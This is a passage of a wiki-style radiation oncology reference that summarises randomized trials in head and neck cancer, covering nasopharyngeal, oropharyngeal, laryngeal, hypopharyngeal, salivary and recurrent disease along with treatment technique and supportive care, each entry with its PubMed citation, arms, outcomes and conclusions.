**Randomized, 2x2 design (concurrent chemo vs. none, adjuvant chemo vs. none). Ho's Stage T3 or N2-3 or LN &gt;=4 cm (AJCC 6th II-IV). Arm 1) RT alone vs. Arm 2) concurrent chemo-RT vs. Arm 3) RT + adjuvant chemo vs. Arm 4) concurrent chemo-RT + adjuvant RT. Concurrent chemo was FU prodrug uracil/tegafur, adjuvant chemo was cisplatin/5-FU and vincristine/bleomycin/MTX x3+3 cycles. RT 1995-1997 62.5/25 split course with 1 week break; 1997-2001 68/34 primary and 66/33 neck. If parapharyngeal extension or residual disease, 10 Gy boost
**'''3-years; 2004''' {{PMID|15226332}} -- &quot;Concurrent and adjuvant chemotherapy for nasopharyngeal carcinoma: a factorial study.&quot; (Kwong DL, J Clin Oncol. 2004 Jul 1;22(13):2643-53.)
***Outcome: 3-year concurrent CRT vs. RT alone FFS 69% vs. 58% (NS), OS 86% vs. 77% (p=0.06), LRC 80% vs. 72% (NS), DM 15% vs. 29% (SS). 3-year adjuvant chemo vs. none FFS 62% vs. 65% (NS), OS 80% vs. 83% (NS), no difference on LRC or DM.
***Conclusion: Trend to improvement with concurrent chemo-RT over RT alone (p=0.06), no benefit to adjuvant chemo

*'''Taiwan COG''' (1994-1999) -- observation vs. cisplatin/5-FU/leucovorin
**Randomized. 154 patients. Stage IV M0 (AJCC 1992). Arm 1) RT 70-72 Gy vs. Arm 2) weekly cisplatin 20 mg/m2, 5-FU 2200 mg/m2, leucovorin 120 mg/m2 x9 weeks
**'''5-years; 2002''' {{PMID|11955734}} -- &quot;A phase III study of adjuvant chemotherapy in advanced nasopharyngeal carcinoma patients.&quot; (Chi KH, Int J Radiat Oncol Biol Phys. 2002 Apr 1;52(5):1238-44.) Median F/U 4.1 years
***Outcome: 5-year OS RT alone 60% vs. adjuvant chemo 50% (NS), RFS 54% vs. 54% (NS)
***Toxicity: No Grade 3+ mucositis; Grade 3+ leukopenia 2%
***Conclusion: Adjuvant chemo after RT offers no benefit for OS or RFS

*'''Italian NRC''' (1979-83) -- observation vs. vincristine/cyclophosphamide/adriamycin
**Randomized. 229 NPC patients, T1N1-T4N3. Complete remission after RT , then Arm 1) observation vs. Arm 2) [[Radiation_Oncology/Chemotherapy_combinations|VCA]] (vincristine, cyclophosphamide, adriamycin) x 6 monthly cycles. RT 60-70 Gy to primary tumor, base of skull, and involved nodes, negative LN 50 Gy (frequently split course over 8-10 weeks)
**'''4-years; 1988''' {{PMID|3047335}} &amp;mdash; &quot;Adjuvant chemotherapy with vincristine, cyclophosphamide, and doxorubicin after radiotherapy in local-regional nasopharyngeal cancer: results of a 4-year multicenter randomized study.&quot; (Rossi A et al. J Clin Oncol. 1988 Sep;6(9):1401-10.)
***Outcome: 4-year RFS observation 56% vs. chemo 58% (NS), no difference in OS; Similar pattern of failure with distant mets in about 50% who failed.
***Toxicity: mild to moderate in most patients
***Conclusion: No benefit for adjuvant VCA chemo
***Comment: more patients at low risk for distant failure; less active chemo combination

==Oropharynx==
===Altered Fractionation===
*'''RTOG 71-02''' (1971-1976) -- BOT continuous vs. split-course
**Randomized. 141 patients, base of tongue. Arm 1) Split course 30/10 + 30/10 vs. Arm 2) Continuous 66/30
**'''1983''' {{PMID|6343309}} -- &quot;Split-course radiation therapy of carcinoma of the base of the tongue: results of a prospective national collaborative clinical trial conducted by the Radiation Therapy Oncology Group.&quot; (Marcial VA, Int J Radiat Oncol Biol Phys. 1983 Apr;9(4):437-43.)
***Outcome: LC split course 48% vs. continuous 41% (NS), Neck control 48% vs. 45% (NS), LRC 38% vs. 37% (NS), median OS 1.2 years vs. 1.1 years (NS)
***Toxicity: Severe toxicity split course 43% vs. continuous 35%; significant hospitalization split course 14% vs. continuous 21%
***Conclusion: No difference

*'''RTOG 71-01''' (1971-1976) -- Tonsil continuous vs. split-course
**'''1993''' {{PMID|8213620}} -- &quot;&quot;Compensated&quot; split-course versus continuous radiation therapy of carcinoma of the tonsillar fossa. Final results of a prospective randomized clinical trial of the Radiation Therapy Oncology Group.&quot; (Marcial VA, Am J Clin Oncol. 1993 Oct;16(5):389-96.)
***Randomized. 137 patients. All stages, no adenoCA. Arm 1) split course RT 30/10 + 30/10 vs. Arm 2) continuous RT 60/30-66/33
***Outcome: 5-year LRC split course 25% vs. continuous 28% (NS); 5-year OS 19% vs. 29% (NS)
***Late toxicity: split course 17% vs. continuous 24% (NS)
***Conclusion: No difference


==Larynx==
===Early Stage===
====Field Size====
*'''Osaka''' (Japan)(1982-1992) -- RT 5x5 cm vs. RT 6x6 cm
**Randomized. 273 patients with T1N0 glottic cancer, treated with RT 4 MV bilateral portals. Arm 1) field size 5x5 cm vs. Arm 2) field size 6x6 cm. Dose 60/30
**'''5-years; 1996''' {{PMID|8721266}} -- &quot;Radiation therapy for early glottic carcinoma (T1N0M0). The final results of prospective randomized study concerning radiation field.&quot; (Chatani M, Strahlenther Onkol. 1996 Mar;172(3):169-72.)
***Outcome: 5-year RFS 5x5 88% vs 6x6 88% (NS)
***Toxicity: acute toxicity same (NS); late toxicity 5x5 17% vs. 6x6 23% (SS)
***Conclusion: Small field (5x5 cm) is recommended

====Fractionation====
*'''Osaka''' (Japan)(1993-2001) -- RT 2 Gy/fx vs. RT 2.25 Gy/fx
**Randomized. 180 patients with glottic T1N0. Arm 1) RT 60/30 (small tumors) or 66/33 (large tumors) @ 2 Gy/fx vs. Arm 2) RT 56.25/25 (small tumors) or 63/28 (large tumors) @ 2.25 Gy/fx. Parallel opposed fields with individualized wedge-filtered technique, majority 5x5 cm
**'''5-years; 2006''' {{PMID|16169681}} -- &quot;Radiotherapy for early glottic carcinoma (T1N0M0): results of prospective randomized study of radiation fraction size and overall treatment time.&quot; (Yamazaki H, Int J Radiat Oncol Biol Phys. 2006 Jan 1;64(1):77-82. Epub 2005 Sep 19.)
***Outcome: 5-year LC 2 Gy/fx 77% vs. 2.25 Gy/fx 92% (SS); CSS 97% vs. 100% (NS)
***Late Toxicity: no severe late toxicity, no difference in early/minor late toxicity
***Conclusion: Use of 2.25 Gy/fx with shorter overall treatment time showed superior local control compared to conventional 2 Gy/fx, without worse toxicity

===Chemo-RT===
*'''EORTC 24954''' (1996-2004) -- Sequential chemo-RT vs. alternating chemo-RT
**Randomized. 450 patients. Larynx T2-T4 N0-N2 or Hypopharynx T2-T4 N0-N2, surgical candidates for total laryngectomy not requiring flap closure. Excluded if candidates for partial laryngectomy. Arm 1) Sequential chemo-&gt;RT. Induction cisplatin 100 mg/m2 + 5-FU 1000 mg/m2 x4 cycles followed by RT 70 Gy; if stable/progression on chemo, total laryngectomy vs Arm 2) Alternating chemo-&gt;RT. Cisplatin 20 mg/m2 + 5-FU 200 mg/m2 x1 week -&gt; RT 20 Gy -&gt; cisplatin/5-FU x1 week -&gt; RT 20 Gy -&gt; cisplatin/5-FU x1 week
**'''2009''' {{PMID|19176454}} -- &quot;Phase 3 Randomized Trial on Larynx Preservation Comparing Sequential vs Alternating Chemotherapy and Radiotherapy.&quot; (Lefebvre JL, J Natl Cancer Inst. 2009 Jan 27. [Epub ahead of print]) Median F/U 6.5 years
***Outcome: Larynx preservation sequential 1.6 years vs. 2.3 years (NS); 5-year larynx preservation 30% vs. 36% (NS). Median OS sequential 4.4 years vs. alternating 5.1 years (NS); median PFS 3.0 vs 3.1 years (NS). Salvage surgery sequential 30% vs. alternating 22%. No difference in patterns of relapse
***Toxicity: Grade 3-4 mucositis sequential 32% vs. alternating 21%; late fibrosis 16% vs. 11%
***Conclusion: Both strategies valid for larynx preservation
***Comment: larynx preservation defined as larynx without tumor, tracheotomy or use of feeding tube

*'''RTOG 91-11 / Intergroup''' (1992-2000) -- Induction chemo -&gt; RT vs. concurrent chemo-RT vs. RT alone
**Randomized, 3 arms. 518/547 patients. Stage III or IV cancers of the glottic or supraglottic larynx, which would require total laryngectomy. Excluded T1 and large volume T4 (penetrating through cartilage or &gt;1cm into BOT). Arm 1) Induction cisplatin 100 mg/m2 + 5-FU C.I. 1000 mg/m2 Q3W x3 cycles, followed by RT (if CR or PR) or laryngectomy if poor response (this Arm based on results of the VA Larynx trial) vs. Arm 2) Concurrent cisplatin 100 mg/m2 Q3W + RT vs. Arm 3) RT alone. RT dose was 70/35, elective neck and SCV 50/25. Patient in the first arm who had salvage surgery for poor response to chemo received adjuvant RT to 50-70 Gy depending on surgical margin status. Planned lymph node dissection was performed for LN &gt; 3cm or multiple lymph nodes at original staging. In induction group, 83% continued to RT and most of others received more chemotherapy or RT but not surgery. End point was preservation of larynx
**'''ASTRO; 2002''' Webcast: [http://play.rbn.com/play.ram?url=irbs/RBNCRM/ASTRO/g2demand/plenary/play141.smil&amp;mode=compact&amp;proto=rtsp Moshe Maor] [http://play.rbn.com/play.ram?url=irbs/RBNCRM/ASTRO/g2demand/plenary/play167.smil&amp;mode=compact&amp;proto=rtsp Discussion: Louis Harrison]
**'''4-years; 2003''' - {{PMID|14645636}} &amp;mdash; &quot;Concurrent chemotherapy and radiotherapy for organ preservation in advanced laryngeal cancer.&quot; (Forastiere AA et al. N Engl J Med. 2003 Nov 27;349(22):2091-8.) Median F/U 3.8 years
***Larynx preservation: induction 72% (SS) vs. concurrent 84% vs. RT alone 67% (SS).  No benefit to induction chemo over RT alone. Laryngectomy-free survival at 2-years and 5-years was 59%/43% (induction), 66%/45% (concurrent), and 53%/38% (RT alone), with no S.S. difference between the two chemo groups  but a S.S. difference between concurrent and RT alone. There was no difference in LFS between the two chemo arms due to an increase in intercurrent deaths for the concomitant group.
***Speech &amp; swallow: 2-year moderate+ impediment induction 3% vs. concurrent 6% vs. RT alone 8% (NS)
***Outcome: 2-year OS induction 76% vs. concurrent 74% vs. RT alone 75% (NS). 5-year OS 55% vs. 54% vs. 56% (NS). LC 64% (SS) vs. 80% vs. 56% (SS), no benefit for induction over RT alone. DM induction 9% vs. chemo-RT 8% vs. RT alone 16% (SS)
***Toxicity: Grade 3-4 induction chemo 24% vs. concurrent chemo 30% vs. RT alone 36% (NS); treatment-related deaths 3% vs. 5% vs. 3%
***Conclusion: Larynx preservation best with concurrent chemo; distant mets reduced by chemotherapy.

===Postoperative===
*'''GETTEC''' (1986-1989) -- total laryngectomy + postop RT vs induction chemo + RT
**Randomized. ''Trial stopped prematurely because patients refused laryngectomy.'' 68 patients. Larynx, T3N0-N2b. Supraglottic larynx or resectable disease not eligible. Arm 1) Total laryngectomy, if N0 then modified neck dissection, if N+ then radical neck dissection followed by post-op RT. Postop RT 50 Gy if SM- and LN-; else 65-70 Gy vs. Arm 2) Induction chemo cisplatin 100 mg/m2 + 5-FU 1000 mg/m2 Q3W x3 cycles, followed by RT 65-70 Gy (36%). If tumor progression on chemo, received total laryngectomy (55%)
**'''1998''' {{PMID|9692058}} -- &quot;Randomized trial of induction chemotherapy in larynx carcinoma.&quot; (Richard JM, Oral Oncol. 1998 May;34(3):224-8.) Median F/U 8.3 years
***Outcome: Induction 55% progressed and required laryngectomy. 2-year OS induction 69% vs. laryngectomy 84% (SS)
***Conclusion: Larynx preservation cannot be considered a standard treatment at the present time

*'''VA Larynx Trial''' (1985-?) - Total laryngectomy + postop RT vs. induction chemo + RT 
**Randomized. 332 patients. Stage III or IV (excluding T1N1) cancer of the glottic or supraglottic larynx. Pts with Stage III or IV laryngeal carcinoma randomized to induction chemo (cisplatin + 5-FU q3weeks x 3) + XRT or surgery + XRT.  If not at least a PR to chemo after 2nd cycle, underwent surgery and post-op RT. Dose: for primary RT, 66 to 76 Gy, and for neck, 50 Gy to 75 Gy depending on nodal size.  Assessed 12 wks after RT and had salvage laryngectomy if residual disease in larynx or neck dissection for residual nodal disease. Postop RT: 50 Gy to microscopic dz, 10 Gy boost to high risk, 15-24 Gy boost to residual dz. 
**'''1991''' {{PMID|2034244}} &amp;mdash; &quot;Induction chemotherapy plus radiation compared with surgery plus radiation in patients with advanced laryngeal cancer.&quot;  The Department of Veterans Affairs Laryngeal Cancer Study Group. N Engl J Med. 1991 Jun 13;324(24):1685-90. 
***Clinical CR in 31% and PR in 54% after 2 cycles chemo. After 3 cycles, CR 49%, PR 49% (98% total) at the primary and CR 53% and PR 33% in nodes (86% total). Pathologic CR after biopsy in 88% with cCR and 45% with cPR - overall pCR rate 64%.  
***Larynx preservation in 64%. Half of laryngectomies were before RT (poor response to chemo) and the other half were after RT, with most of these from persistent tumor and only 7% from recurrence.
***Survival 68% vs 68% at 2 years. No difference in survival for the pts who responded to chemo vs those who did not. No S.S. difference in DFS between chemo/RT and surgery groups. Overall recurrence rate not S.S. different between 2 groups but pattern of recurrence differed, with more recurrence at the primary site (12% vs 2%) in chemo/RT group vs more distant mets in surgery group (17% vs 11%). 
***No difference in survival at 10 years of follow-up. (later paper)

==Hypopharynx==
*'''France''' (2001-2005) -- Induction chemo-RT vs. concurrent chemo-RT
**Randomized. 75 patients, T3 pyriform sinus (N0-N3). 4 centers. Arm 1) concurrent chemo-RT. Chemo cisplatin 100 mg/m2 Q3W, RT 70 Gy vs. Arm 2) induction chemo cisplatin 100 mg/m2 + 5-FU 100 mg/m2 x2 courses. If CR/PR &gt;80%, RT 70 Gy, else total laryngectomy
**'''2009''' {{PMID|19449227}} -- &quot;Randomized phase III trial comparing induction chemotherapy followed by radiotherapy to concomitant chemoradiotherapy for laryngeal preservation in T3M0 pyriform sinus carcinoma.&quot; (Prades JM, Acta Otolaryngol. 2009 May 15:1-6.) Median F/U 2 years
***Outcome: 2-year laryngeal preservation concurrent 92% vs induction 68% (SS). Local control 81% vs. 62%. Distant mets 19% vs 38%. EFS 36% vs. 41% (NS). 2-year OS 47% vs. 51% (NS)
***Toxicity: any toxicity 76% vs 71%
***Conclusion: Concurrent chemo-RT superior to sequential chemo-RT

*'''EORTC 24954''' (1996-2004) -- Sequential chemo-RT vs. alternating chemo-RT
**Randomized. 450 patients. Larynx T2-T4 N0-N2 (21% by AJCC staging) or Hypopharynx T2-T4 N0-N2 (79% by AJCC staging), surgical candidates for total laryngectomy not requiring flap closure. Excluded if candidates for partial laryngectomy. Arm 1) Sequential chemo-&gt;RT. Induction cisplatin 100 mg/m2 + 5-FU 1000 mg/m2 x4 cycles followed by RT 70 Gy; if stable/progression on chemo, total laryngectomy vs Arm 2) Alternating chemo-&gt;RT. Cisplatin 20 mg/m2 + 5-FU 200 mg/m2 x1 week -&gt; RT 20 Gy -&gt; cisplatin/5-FU x1 week -&gt; RT 20 Gy -&gt; cisplatin/5-FU x1 week (based on prior Italian randomized data)
**'''6-years; 2009''' {{PMID|19176454}} -- &quot;Phase 3 Randomized Trial on Larynx Preservation Comparing Sequential vs Alternating Chemotherapy and Radiotherapy.&quot; (Lefebvre JL, J Natl Cancer Inst. 2009 Jan 27. [Epub ahead of print]) Median F/U 6.5 years
***Outcome: Larynx preservation sequential 1.6 years vs. 2.3 years (NS); 5-year larynx preservation 30% vs. 36% (NS). Median OS sequential 4.4 years vs. alternating 5.1 years (NS); median PFS 3.0 vs 3.1 years (NS). DSS ~50%. Salvage surgery sequential 30% vs. alternating 22%. No difference in patterns of relapse
***Toxicity: Grade 3-4 mucositis sequential 32% vs. alternating 21%; late fibrosis 16% vs. 11%
***Conclusion: Both strategies valid for larynx preservation
***Editorial ({{PMID|19176460}}): larynx preservation defined as survival with larynx without tumor, tracheotomy or use of feeding tube, which gives these states equal utility as death; other issues with endpoints used for larynx preservation. Need a common standardized endpoint

*'''EORTC 24891''' (1990-1993) - Surgery + post-op RT vs Induction cisplatin/5-FU + RT
**Randomized. 194/202 patients. Operable SCC of the pyriform sinus or AE fold, Stage T2-T4 N0-N2b, N3 (N2c initially allowed, stopped in 1992). Arm 1) Immediate surgery + post-op RT 50-70 Gy vs. Arm 2) Induction cisplatin 100 mg/m2 + 5-FU 1000 mg/m2 x2 cycles. If CR, then RT 70 Gy. If PR, then cisplatin/5-FU x another cycle. If CR, then RT 70 Gy. If PR, or PD anytime, then surgery. RT given 50 Gy bilateral neck + 20 Gy boost to tumor/palpable LNs. Surgery was total laryngectomy with partial pharyngectomy to allow primary closure
**'''10-years; 2004''' [http://www.asco.org/ASCO/Abstracts+&amp;+Virtual+Meeting/Abstracts?&amp;vmview=abst_detail_view&amp;confID=26&amp;abstractID=3215 ASCO Abstract] -- &quot;Is laryngeal preservation (LP) with induction chemotherapy (ICT) safe in the treatment of hypopharyngeal SCC? Final results of the phase III EORTC 24891 trial.&quot; (Lefebvre JL, Journal of Clinical Oncology, 2004 ASCO Annual Meeting Proceedings (Post-Meeting Edition). Vol 22, No 14S (July 15 Supplement), 2004: 5531) Median F/U 10 years
***Outcome: 5-year OS surgery 33% vs. chemo-RT 38%; 10-year OS 14% vs. 13%. 5-year PFS 26% vs. 32%. Larynx preservation 5-years 22% (58% survivors), 10-years 9% (69% survivors)
***Conclusion: Similar survival curves with larynx preservation as with conventional total laryngectomy, with 2/3 survivors retaining their larynx

==Salivary Glands==
*'''RTOG-MRC Neutron Trial''' -- neutrons vs. photons/electrons
**Randomized. ''Stopped early due to neutron advantage.'' 32 patients, inoperable or recurrent major or minor salivary gland tumors. Arm 1) Neutrons (17-22 nGy) vs. Arm 2) photon/electrons (55 Gy/4 weeks or 70 Gy/7.5 weeks)
**'''Final; 1993''' {{PMID|8407397}} -- &quot;Neutron versus photon irradiation for unresectable salivary gland tumors: final report of an RTOG-MRC randomized clinical trial.&quot;  (Laramore G, Int J Radiat Oncol Biol Phys. 1993 Sep 30;27(2):235-40)
***Outcome: 10-year LRC neutrons 56% vs. photons/electrons 17% (SS); OS 25% vs. 15% (NS). Median OS 3 years vs. 1.2 years
***Toxicity: Severe toxicity worse in neutron arm, but no difference in &quot;life-threatening&quot; complications
***Conclusion: Fast neutron RT appears to be the treatment of choice for patients with inoperable/recurrent salivary gland tumors

==Recurrence==
===Surgery + Chemo-RT===
*'''GETTC/GORTEC''' (1999-2005) -- salvage surgery +/- reirradiation + chemotherapy
**Randomized. 130 patients, H&amp;N cancer, either recurrence or second primary in a previously irradiated area, no major sequelae. Treated with R0-R1 surgery. Arm 1) adjuvant salvage chemotherapy + re-irradiation vs. Arm 2) observation. RT given 60 Gy over 11 weeks with concurrent 5-FU and hydroxyurea
**'''2008''' {{PMID|18936479}} -- &quot;Randomized Trial of Postoperative Reirradiation Combined With Chemotherapy After Salvage Surgery Compared With Salvage Surgery Alone in Head and Neck Carcinoma.&quot; (Janot F, J Clin Oncol. 2008 Oct 20. [Epub ahead of print])
***Outcome: DFS improved (HR 1.68, SS), OS no difference
***Late toxicity: 2-years Grade 3-4 RT arm 39% vs. observation arm 10% (p=0.06)
***Conclusion: Full-dose reirradiation combined with chemo after salvage surgery significantly improved DFS but not OS. Toxicity was higher

===Chemo Alone===
*'''EXTREME''' (2004-2005) -- Chemotherapy (cisplatin or carbo/5-FU) +/- cetuximab
**Randomized. 442 patients with recurrent or metastatic SCC of H&amp;N. Arm 1) chemotherapy (cisplatin 100 mg/m2 or carbo AUC 5 + 5F-FU 1000 mg/m2) x6 cycles vs. Arm 2) same chemotherapy + cetuximab 250 mg/m2 x6 cycles. If stable disease, cetuximab until disease progression or toxicity
**'''2008''' {{PMID|18784101}} -- &quot;Platinum-based chemotherapy plus cetuximab in head and neck cancer.&quot; (Vermorken JB, N Engl J Med. 2008 Sep 11;359(11):1116-27.)
***Outcome: Median OS chemo 7 months vs. chemo+cetuximab 10 months (SS)
***Toxicity: Grade 4 comparable except sepsis worse in cetuximab arm
***Conclusion: Cetuximab + platinum chemotherapy improved overall survival compared with chemotherapy alone

==Treatment Technique==
===Setup===
*'''Princess Margaret''' (2006-2008) -- standard immobilization mask vs skin-sparing immobilization mask
**Randomized. 762 CBCT scans in 20 patients. Arm 1) standard mask (SM) vs Arm 2) skin-sparing mask (SSM) modified with low neck cutouts
**'''2010''' {{PMID|20056344}} -- &quot;Cone-beam CT assessment of interfraction and intrafraction setup error of two head-and-neck cancer thermoplastic masks.&quot; (Velec M, Int J Radiat Oncol Biol Phys. 2010 Mar 1;76(3):949-55. Epub 2010 Jan 7.)
***Outcome:  Initial interfraction sigma SM 1.6 mm or 1.1 degrees vs SSM 2.0 mm and 0.8 degrees. No difference after CBCT correction. Initial intrafraction sigma &lt;1 mm and &lt;1 degree for both masks.
***Conclusion: Interfraction and intrafraction setup error not significantly different between masks. Mask cutouts should be considered to reduce skin toxicity

*'''Karolinska Hospital''' (Sweden)(1998-2001) -- head mask vs head-and-neck mask setup
**Randomized. 241/260 patients. H&amp;N cancers excluding NPC. Arm 1) Head mask vs. Arm 2) Head-and-shoulder mask. Both Posicast thermoplastic masks. Assessed reproducibility (port films and table positions), patient tolerability (fit, pain, movement within, claustrophobia), and skin damage
**'''2005''' {{PMID|15629618}} -- &quot;Randomized trial on two types of thermoplastic masks for patient immobilization during radiation therapy for head-and-neck cancer.&quot; (Sharp L, Int J Radiat Oncol Biol Phys. 2005 Jan 1;61(1):250-6.)
***Outcome: No difference in reproducibility of setup
***Toxicity: 
****Claustrophobia: head mask 45% vs. head-and-shoulder mask 58% (SS). Otherwise no difference in tolerability. 
****Skin toxicity (Grade 3): head mask 21% vs. head-and-shoulder mask 39% (SS)
***Conclusion: Smaller head masks reduced claustrophobia and skin reactions without compromising reproducibility of the setup.

===IMRT===
'''IMRT salivary function'''
*'''Prince of Wales Hospital; 2007''' (Hong Kong)(2001-2003) {{PMID|17971582}} -- &quot;Prospective randomized study of intensity-modulated radiotherapy on salivary gland function in early-stage nasopharyngeal carcinoma patients.&quot; (Kam MK, J Clin Oncol. 2007 Nov 1;25(31):4873-9.)
**Randomized. 60 patients with T1-2bN0-1 nasopharynx. Arm 1) IMRT 66 Gy (CTV=GTV + 1cm; at-risk anatomic sites; LN Levels IB-II, LN upper Level V, LN retropharyngeal; PTV=CTV+3mm), lower neck LN+ 66 Gy anterior field, LN- 54-60 Gy + intracavitary BT boostvs. Arm 2) 66 Gy 2D + intracavitary BT boost
**Outcome: observer-rated severe xerostomia IMRT 39% vs. 2D-RT 82% (SS), stimulated parotid flow (SS), unstimulated parotid flow (SS), but no difference in patient-reported feeling of xerostomia
**Conclusion: IMRT superior in preserving objective parotid function, but no difference in patient-reported benefit
**Editorial ({{PMID|17971579}}): Observer-rated scoring underestimates patient reports and has low agreement among various observers. Suspect sparing of parotid alone not sufficient. Parotid gland produces saliva without mucins (lubricants, bind water, and provide selective permeability barrier). Mucin-secreting glands (e.g. minor salivary glands, submandibular glands) produce &lt;10% saliva but &gt;50% mucins. May need to spare these glands as well for subjective feeling of benefit

*'''Queen Mary Hospital; 2006''' (Hong Kong)(2000-2004) {{PMID|17145528}} -- &quot;Xerostomia and quality of life after intensity-modulated radiotherapy vs. conventional radiotherapy for early-stage nasopharyngeal carcinoma: initial report on a randomized controlled clinical trial.&quot; (Pow EH, Int J Radiat Oncol Biol Phys. 2006 Nov 15;66(4):981-91.) 
**Randomized. 51 patients, Stage II (T2N0-1, AJCC 1997). Arm 1) conventional RT 68 Gy, neck 66 Gy vs. Arm 2) IMRT, GTV dose 68-72 Gy, PTV 66-68 Gy. Stimulated whole (SWS) and parotid (SPS) saliva flow evaluated, QoL SF-36, EORTC Core, EORTC QLQ-H&amp;N35 questionnaires. Minimum F/U 1 years
**1-year outcome: 25% whole flow (SWS) IMRT 50% vs. 2D 5% (SS), 25% parotid flow (SPS) 83% vs. 9% (SS). At 2 months, both group had xerostomia, but IMRT group improved significantly better over time. Also improvements in QoL
**Conclusion: IMRT significantly better than conventional RT for salivary function and QoL

===Middle ear ventilation tube===
*'''Hong Kong; 2002''' {{PMID|12512893}} -- &quot;Randomized evaluation of the audiologic outcome of ventilation tube insertion for middle ear effusion in patients with nasopharyngeal carcinoma.&quot; (Ho WK, J Otolaryngol. 2002 Oct;31(5):287-93.)
**Randomized. ? patients. NPC and middle ear effusion. Arm 1) pre-RT ventilation tube insertion vs. Arm 2) observation. Audiologic assessment throughout. F/U 4 years
**Outcome: No difference in hearing changes up to 4 years
**Conclusion: Ventilation tube insertion before RT did not offer hearing benefit

===Time of radiation===
*'''NCIC HN3''' -- morning RT vs. afternoon RT
**Randomized, proof of principle. 205/216 patients, receiving primary or postop RT. Arm 1) morning (8-10 AM) RT vs. Arm 2) afternoon (4-6 PM) RT. Primary outcome mucositis
**'''2008''' {{PMID|18805649}} -- &quot;Comparison of Toxicity Associated with Early Morning Versus Late Afternoon Radiotherapy in Patients with Head-and-Neck Cancer: A Prospective Randomized Trial of the National Cancer Institute of Canada Clinical Trials Group (HN3).&quot; (Bjarnason GA, Int J Radiat Oncol Biol Phys. 2008 Sep 19. [Epub ahead of print])
***Outcome: Grade 3+ mucositis AM RT 53% vs. PM RT 62% (p=0.2). In patients with RT dose 66-70 Gy, 45% vs. 67% (SS). Also longer time-to-mucositis &gt;7.9 weeks vs. 5.6 weeks (SS). Significant benefit in patients who continued to smoke 43% vs. 76% (SS)
***Conclusion: Morning RT associated with significantly less weight loss, and reduction in oral mucositis in patients getting &gt;=66 Gy


==Supportive Care==
'''See also:'''
:[[Radiation_Oncology/Supportive_care/Randomized|Supportive care randomized evidence]]
===Candidiasis===
*'''Genoa''' (Italy)
**Randomized. 270 patients with H&amp;N tumors. Arm 1) fluconazole 100 mg QD vs. Arm 2) placebo. Starting 6th treatment until end of treatment.
**'''2008''' {{PMID|18419630}} -- &quot;Effects of fluconazole in the prophylaxis of oropharyngeal candidiasis in patients undergoing radiotherapy for head and neck tumour: results from a double-blind placebo-controlled trial.&quot; (Corvo R, Eur J Cancer Care (Engl). 2008 May;17(3):270-7.)
***Outcome: candidiasis-free survival improved (SS); time-to-outbreak fluconazole 56 days vs. placebo 47 days; mean duration of RT fluconazole 39.9 days vs. placebo 43.5 days (SS)
***Toxicity: fluconazole 70% vs. placebo 67% (NS)
***Conclusion: Prophylaxis with fluconazole significantly reduces rate and improves time to development of oral candidiasis

===Mucositis===
'''''Antiseptic mouth rinse'''''
*'''Complutense University, Spain''' -- antiseptic mouth rinse vs placebo
**Randomized. 36 patients, RT for HNC. Arm 1) antiseptic mouth rinse vs Arm 2) placebo
**'''2010''' {{PMID|20173709}} -- &quot;Mucositis in irradiated cancer patients: effects of an antiseptic mouthrinse.&quot; (Lanzos I, Med Oral Patol Oral Cir Bucal. 2010 Feb 21. [Epub ahead of print])
***Outcome: No difference in degree of mucositis; 2-week mucositis worse in placebo group
***Conclusion: Mouth rinse may lead to some improvement


'''''Honey'''''
*'''Egypt''' (2005-2006) -- chemo-RT +/- honey
**Randomized. 40 patients with H&amp;N cancer, treated with chemo-RT with significant area of oral or oropharynx mucosa in treatment field. Arm 1) topical application of pure natural honey vs. Arm 2) no honey. Evaluated weekly, aerobic cultures and candida colonisation assessed
**'''2008''' {{PMID|18485252}} -- &quot;Honey as topical prophylaxis against radiochemotherapy-induced mucositis in head and neck cancer.&quot; (Rashad UM, J Laryngol Otol. 2008 May 19:1-6. [Epub ahead of print])
***Outcome: Grade 3-4 mucositis honey 15% vs. no honey 65% (SS); candidiasis 15% vs. 60% (SS); aerobic pathogens 15% vs. 65% (SS)
***Conclusion: Prophylaxis with pure natural honey effective in reducing mucositis


'''''Caphosol'''''
*'''Tufts''' -- caphosol + fluoride vs. fluoride alone
**Randomized. 95 patients undergoing stem cell transplant. Arm 1) Caphosol + fluoride vs. Arm 2) fluoride alone
**'''2003''' {{PMID|12692611}} -- &quot;A prospective, randomized trial for the prevention of mucositis in patients undergoing hematopoietic stem cell transplantation.&quot; (Papas AS, Bone Marrow Transplant. 2003 Apr;31(8):705-12.)
***Outcome: Mucositis days Caphosol 3.7 days vs. control 7.2 days (SS); duration of pain 2.9 vs. 7.7 (SS); morphine dose 34 mg vs. 123 mg, days of morphine 1.3 days vs. 4.0 days (SS); and days to onset of ANC 11.1 days vs. 12.6 days 
***Conclusion: Caphosol is superior to fluoride rinse alone for oral mucositis


'''''Iseganan'''''
*'''Multi-National''' (2000-2001) -- iseganan vs. placebo vs supportive care
**Randomized, 3 arms. 545 patients with RT for H&amp;N cancer. Arm 1) iseganan solution (microbicidal solution) vs. Arm 2) placebo vs. Arm 3) standard oral care
**'''2004''' {{PMID|14967419}} -- &quot;A multinational, randomized phase III trial of iseganan HCl oral solution for reducing the severity of oral mucositis in patients receiving radiotherapy for head-and-neck malignancy.&quot; (Trotti A, Int J Radiat Oncol Biol Phys. 2004 Mar 1;58(3):674-81.)
***Outcome: No ulcerative mucositis iseganan 9% vs. placebo 9% (NS) vs. supportive care 2% (SS). No difference in mouth pain or difficulty swallowing. Some benefit for nausea
***Toxicity: No significant difference
***Conclusion: Iseganan oral solution safe but didn't reduce risk of ulcerative mucositis

===Xerostomia===
====Accupuncture====
*'''South Korea'''
**Randomized. 12 patients with H&amp;N cancer and radiation-induced xerostomia. Arm 1) real acupuncture vs. Arm 2) sham acupuncture BIW x 6 weeks. Measured whole stimulated and unstimulated salivary flow rate, and questionnaire at 3 and 6 weeks after acupuncture
**'''2008''' {{PMID|18532895}} -- &quot;Manual Acupuncture Improved Quality of Life in Cancer Patients with Radiation-Induced Xerostomia.&quot; (Cho JH, J Altern Complement Med. 2008 Jun 4. [Epub ahead of print])
***Outcome: Whole salivary flow rate: no difference. Unstimulated flow rate: acupuncture significantly better. Subjective: acupuncture significantly less xerostomia
***Conclusion: Significantly improved amelioration of subjective xerostomia

===Feeding tube===
*'''Peter MacCallum Cancer Centre (Australia)''' -- NGT vs PEG tube
**Randomized. ''Closed early due to poor accrual.'' 33/150 patients, H&amp;N cancer planned for curative RT, 'anticipated to require enteral feeding' (whole oral cavity RT, AHFX, CRT, &gt;10% weight loss). Arm 1) percutaneous endoscopic gastrostomy (PEG) tube vs. Arm 2) nasogastric (NGT) tube. Criteria for insertion: intake &lt;50% of calculated daily nutritional requirement and/or &gt;5kg weight loss from start of treatment
